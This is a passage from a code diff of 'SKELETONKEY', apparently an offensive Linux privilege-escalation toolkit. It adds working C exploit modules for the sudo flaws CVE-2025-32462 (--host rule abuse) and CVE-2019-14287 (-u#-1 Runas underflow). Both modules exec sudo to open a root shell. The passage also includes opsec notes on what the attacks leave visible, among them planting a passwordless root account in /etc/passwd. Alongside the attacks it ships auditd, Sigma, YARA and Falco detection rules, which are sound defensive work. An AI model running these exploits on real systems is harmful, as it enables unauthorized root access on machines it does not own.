bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char cur_host[256] = {0};
|
||||||
|
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||||
|
struct passwd *pw = getpwuid(geteuid());
|
||||||
|
const char *user = pw ? pw->pw_name : "";
|
||||||
|
|
||||||
|
/* The host token to abuse. Source priority:
|
||||||
|
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||||
|
* reliable path, since the host-restricted rule usually lives in
|
||||||
|
* a sudoers source the user can't read).
|
||||||
|
* 2. Best-effort discovery from readable sudoers. */
|
||||||
|
char host_tok[256] = {0};
|
||||||
|
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||||
|
if (envh && *envh) {
|
||||||
|
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||||
|
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||||
|
"(host '%s' != current '%s') in readable sudoers\n",
|
||||||
|
host_tok, cur_host);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||||
|
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||||
|
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||||
|
" typically in a sudoers source you cannot read. If you know one\n"
|
||||||
|
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||||
|
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||||
|
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||||
|
" skeletonkey --exploit sudo_host --i-know\n",
|
||||||
|
cur_host[0] ? cur_host : "(this host)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Confirm the policy actually grants root on the local box when we
|
||||||
|
* claim to be host_tok. `id -u` as the witness command. */
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||||
|
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||||
|
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||||
|
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||||
|
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||||
|
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||||
|
host_tok, host_tok);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||||
|
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||||
|
|
||||||
|
if (ctx->no_shell) {
|
||||||
|
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||||
|
"sudo -h %s <command>\n", host_tok);
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Pop a root shell via the abused host. The granted command may be
|
||||||
|
* restricted; default to /bin/bash but let the operator override to
|
||||||
|
* whatever the rule actually permits. */
|
||||||
|
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||||
|
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||||
|
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||||
|
fflush(NULL);
|
||||||
|
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||||
|
perror("execl(sudo -h)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
#endif /* __linux__ */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char sudo_host_auditd[] =
|
||||||
|
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||||
|
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||||
|
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||||
|
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||||
|
"# record the -h/--host value and the target command.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||||
|
|
||||||
|
static const char sudo_host_sigma[] =
|
||||||
|
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||||
|
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||||
|
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||||
|
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||||
|
" different host. False positives: admins legitimately using\n"
|
||||||
|
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||||
|
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||||
|
" condition: sudo_exec and host_opt\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||||
|
|
||||||
|
static const char sudo_host_falco[] =
|
||||||
|
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||||
|
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||||
|
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||||
|
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||||
|
" to list remote privileges.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" spawned_process and proc.name = sudo and\n"
|
||||||
|
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||||
|
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" sudo --host running a command by non-root\n"
|
||||||
|
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||||
|
|
||||||
|
/* ---- module struct -------------------------------------------------- */
|
||||||
|
|
||||||
|
const struct skeletonkey_module sudo_host_module = {
|
||||||
|
.name = "sudo_host",
|
||||||
|
.cve = "CVE-2025-32462",
|
||||||
|
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||||
|
.family = "sudo",
|
||||||
|
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||||
|
.detect = sudo_host_detect,
|
||||||
|
.exploit = sudo_host_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||||
|
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||||
|
.detect_auditd = sudo_host_auditd,
|
||||||
|
.detect_sigma = sudo_host_sigma,
|
||||||
|
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
||||||
|
.detect_falco = sudo_host_falco,
|
||||||
|
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_sudo_host(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&sudo_host_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
|
||||||
|
#define SUDO_HOST_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module sudo_host_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,286 @@
|
|||||||
|
/*
|
||||||
|
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
|
||||||
|
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
|
||||||
|
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
|
||||||
|
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
|
||||||
|
* explicitly says "ALL except root".
|
||||||
|
*
|
||||||
|
* The bug (Joe Vennix / Apple Information Security, October 2019):
|
||||||
|
* sudoers grammar lets admins write rules like
|
||||||
|
* bob ALL=(ALL,!root) /bin/vi
|
||||||
|
* intending "bob can run vi as any user except root". The Runas
|
||||||
|
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
|
||||||
|
* The integer parser for `-u#<n>` does NOT validate negative
|
||||||
|
* numbers; passing `-u#-1` (or its unsigned-32-bit form
|
||||||
|
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
|
||||||
|
* ALSO bypasses standard setresuid() because the kernel rejects
|
||||||
|
* uid_t = -1 and falls back to keeping the current uid (which sudo
|
||||||
|
* has already elevated to root for argument parsing).
|
||||||
|
*
|
||||||
|
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
|
||||||
|
* https://www.exploit-db.com/exploits/47502
|
||||||
|
*
|
||||||
|
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
|
||||||
|
* to the `-u#<n>` parser.
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - sudo installed + suid
|
||||||
|
* - The invoking user has a sudoers entry of the form
|
||||||
|
* USER HOST=(ALL,!root) /path/to/cmd
|
||||||
|
* or any sudoers entry with `(ALL` in the Runas spec that
|
||||||
|
* blacklists root. WITHOUT such an entry the bug is irrelevant
|
||||||
|
* because the user has no sudoers grant to abuse in the first
|
||||||
|
* place — detect() short-circuits PRECOND_FAIL in that case.
|
||||||
|
*
|
||||||
|
* arch_support: any. Pure shell-level invocation; works identically
|
||||||
|
* on every Linux arch sudo is built for.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
|
||||||
|
|
||||||
|
static const char *find_sudo(void)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||||
|
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||||
|
return candidates[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Returns true iff the version string is < 1.8.28 (the fix release). */
|
||||||
|
static bool sudo_version_vulnerable(const char *v)
|
||||||
|
{
|
||||||
|
int maj = 0, min = 0, patch = 0;
|
||||||
|
char ptag = 0; int psub = 0;
|
||||||
|
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||||
|
if (n < 3) return true; /* unparseable → conservative */
|
||||||
|
if (maj < 1) return false;
|
||||||
|
if (maj > 1) return false;
|
||||||
|
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
|
||||||
|
if (min > 8) return false; /* >= 1.9 includes fix */
|
||||||
|
/* exactly 1.8.x: vulnerable iff patch < 28 */
|
||||||
|
return patch < 28;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||||
|
{
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char line[256] = {0};
|
||||||
|
char *r = fgets(line, sizeof line, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
char *vp = strstr(line, "version");
|
||||||
|
if (!vp) return false;
|
||||||
|
vp += strlen("version");
|
||||||
|
while (*vp == ' ' || *vp == '\t') vp++;
|
||||||
|
char *nl = strchr(vp, '\n');
|
||||||
|
if (nl) *nl = 0;
|
||||||
|
strncpy(out, vp, outsz - 1);
|
||||||
|
out[outsz - 1] = 0;
|
||||||
|
return out[0] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
|
||||||
|
* the precondition. Returns a stored command path the user can execve. */
|
||||||
|
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
||||||
|
{
|
||||||
|
char cmd[512];
|
||||||
|
/* -n -l separated + stdin closed: see sudoedit_editor for the same
|
||||||
|
* pattern + rationale. `--auto` must never block on a tty prompt. */
|
||||||
|
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char line[512];
|
||||||
|
bool found = false;
|
||||||
|
while (fgets(line, sizeof line, p)) {
|
||||||
|
/* Looking for " (ALL," or " (ALL : ..." with an
|
||||||
|
* exclusion (!root or !#0) on a line that resolves to a
|
||||||
|
* runnable command. Conservative parser: any line containing
|
||||||
|
* "(ALL" + "!root" wins. */
|
||||||
|
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
|
||||||
|
/* Extract the last token (the command path) from the line. */
|
||||||
|
char *tok = strrchr(line, ' ');
|
||||||
|
if (tok) {
|
||||||
|
tok++;
|
||||||
|
char *nl = strchr(tok, '\n');
|
||||||
|
if (nl) *nl = 0;
|
||||||
|
strncpy(cmd_out, tok, cap - 1);
|
||||||
|
cmd_out[cap - 1] = 0;
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pclose(p);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char vbuf[64] = {0};
|
||||||
|
const char *ver = (ctx->host && ctx->host->sudo_version[0])
|
||||||
|
? ctx->host->sudo_version
|
||||||
|
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
|
||||||
|
if (!ver) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
|
||||||
|
|
||||||
|
if (!sudo_version_vulnerable(ver)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
|
||||||
|
char grant[256] = {0};
|
||||||
|
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
|
||||||
|
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
|
||||||
|
ver, grant);
|
||||||
|
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
|
char grant[256] = {0};
|
||||||
|
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||||
|
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
|
||||||
|
fflush(NULL);
|
||||||
|
|
||||||
|
/* If grant looks like /bin/sh-able command, run it directly.
|
||||||
|
* Otherwise leave the operator to pop the shell themselves. */
|
||||||
|
if (ctx->no_shell) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
|
||||||
|
perror("execl(sudo)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char sudo_runas_neg1_auditd[] =
|
||||||
|
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
|
||||||
|
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
|
||||||
|
|
||||||
|
static const char sudo_runas_neg1_sigma[] =
|
||||||
|
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
|
||||||
|
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
|
||||||
|
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
|
||||||
|
" is never used legitimately; any occurrence is an exploit\n"
|
||||||
|
" attempt or an audit/training exercise.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||||
|
" condition: s\n"
|
||||||
|
"level: critical\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
|
||||||
|
|
||||||
|
static const char sudo_runas_neg1_yara[] =
|
||||||
|
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2019-14287\"\n"
|
||||||
|
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $a = \"-u#-1\" ascii\n"
|
||||||
|
" $b = \"-u#4294967295\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" any of them\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char sudo_runas_neg1_falco[] =
|
||||||
|
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
|
||||||
|
" underflow makes sudo treat the request as uid 0; affects\n"
|
||||||
|
" sudo < 1.8.28. There is no legitimate use of this argument\n"
|
||||||
|
" syntax.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" spawned_process and proc.name = sudo and\n"
|
||||||
|
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
|
||||||
|
" output: >\n"
|
||||||
|
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||||
|
" priority: CRITICAL\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module sudo_runas_neg1_module = {
|
||||||
|
.name = "sudo_runas_neg1",
|
||||||
|
.cve = "CVE-2019-14287",
|
||||||
|
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
|
||||||
|
.family = "sudo",
|
||||||
|
.kernel_range = "userspace — sudo < 1.8.28",
|
||||||
|
.detect = sudo_runas_neg1_detect,
|
||||||
|
.exploit = sudo_runas_neg1_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = sudo_runas_neg1_auditd,
|
||||||
|
.detect_sigma = sudo_runas_neg1_sigma,
|
||||||
|
.detect_yara = sudo_runas_neg1_yara,
|
||||||
|
.detect_falco = sudo_runas_neg1_falco,
|
||||||
|
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_sudo_runas_neg1(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&sudo_runas_neg1_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||||
|
#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||||
|
#endif
|
||||||
@@ -506,6 +506,7 @@ const struct skeletonkey_module sudo_samedit_module = {
|
|||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
.detect_falco = sudo_samedit_falco,
|
.detect_falco = sudo_samedit_falco,
|
||||||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
||||||
|
.arch_support = "any",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||||
|
|||||||
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
|||||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||||
{
|
{
|
||||||
char cmd[512];
|
char cmd[512];
|
||||||
/* -n: non-interactive (no password prompt); -l: list. */
|
/* -n: non-interactive (no password prompt); -l: list. The two flags
|
||||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
* are written separately and stdin is redirected from /dev/null so
|
||||||
|
* sudo cannot fall back to a tty prompt even if the local PAM stack
|
||||||
|
* tries to coerce one (some sudoers + pam_unix configurations have
|
||||||
|
* been observed prompting despite `-n` when the flags are bundled
|
||||||
|
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
|
||||||
|
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
|
||||||
FILE *p = popen(cmd, "r");
|
FILE *p = popen(cmd, "r");
|
||||||
if (!p) return false;
|
if (!p) return false;
|
||||||
|
|
||||||
@@ -663,6 +668,7 @@ const struct skeletonkey_module sudoedit_editor_module = {
|
|||||||
.detect_yara = sudoedit_editor_yara,
|
.detect_yara = sudoedit_editor_yara,
|
||||||
.detect_falco = sudoedit_editor_falco,
|
.detect_falco = sudoedit_editor_falco,
|
||||||
.opsec_notes = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
|
.opsec_notes = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
|
||||||
|
.arch_support = "any",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_sudoedit_editor(void)
|
void skeletonkey_register_sudoedit_editor(void)
|
||||||
|
|||||||
@@ -0,0 +1,192 @@
|
|||||||
|
/*
|
||||||
|
* tioscpgrp_cve_2020_29661 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
